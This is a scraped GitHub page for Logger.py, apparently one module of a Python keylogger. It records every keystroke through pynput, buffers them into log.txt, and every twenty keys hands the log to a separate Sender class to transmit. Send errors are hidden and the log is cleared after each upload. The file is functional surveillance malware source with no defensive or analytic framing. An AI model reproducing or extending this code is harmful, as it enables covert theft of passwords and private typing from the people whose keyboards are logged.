-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathLogger.py
72 lines (57 loc) · 1.77 KB
/
Logger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pynput.keyboard import Key
from Sender import Sender
class Logger:
counter = 0
send_counter = 0
chars = []
chars_limit = 15
send_limit = 20
sender = Sender()
def __init__(self):
with open("log.txt","r",encoding="utf-8") as f:
data = f.read()
if len(data) > 0:
self.send()
def on_press(self,key):
self.chars.append(key)
self.counter += 1
self.send_counter += 1
if self.counter >= self.chars_limit:
self.write_to_file()
if self.send_counter >= self.send_limit:
self.send()
def send(self):
data = ""
with open("log.txt","r",encoding="utf-8") as f:
data = f.read()
try:
self.sender.send_data(data)
except:
pass
else:
with open("log.txt","w",encoding="utf-8") as f:
f.write("")
self.send_counter = 0
def write_to_file(self):
content = ""
with open("log.txt","a+",encoding="utf-8") as f:
content = f.read()
for key in self.chars:
k = str(key).replace("'","")
if k.find("Key.space") >= 0:
content += " "
elif k.find("Key.backspace") >= 0:
content = content[0:-1]
elif k.find("Key.enter") >= 0:
content += '\n'
elif k.find("Key") == -1:
content += k
#print(content)
f.write(content)
self.chars = []
self.counter = 0
def on_release(self,key):
if key == Key.esc:
self.write_to_file()
self.send()
return False